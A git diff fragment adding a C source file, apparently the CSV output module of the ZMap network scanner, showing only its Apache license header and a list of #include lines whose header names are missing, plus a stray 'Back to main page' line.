0000000000000000000000000000000000000000..88eab8febae82193004088c27829d1ac3e145bd0 --- /dev/null +++ b/pool/shard001/C/0022005_module_csv.c @@ -0,0 +1,127 @@ +/* + * ZMap Copyright 2013 Regents of the University of Michigan + * + * Licensed under the Apache License, Version 2.0 (the "License"); you may not + * use this file except in compliance with the License. You may obtain a copy + * of the License at http://www.apache.org/licenses/LICENSE-2.0 + */ + +#include +#include +#include +#include + +#include +#include +#include +#include
+ Back to main page +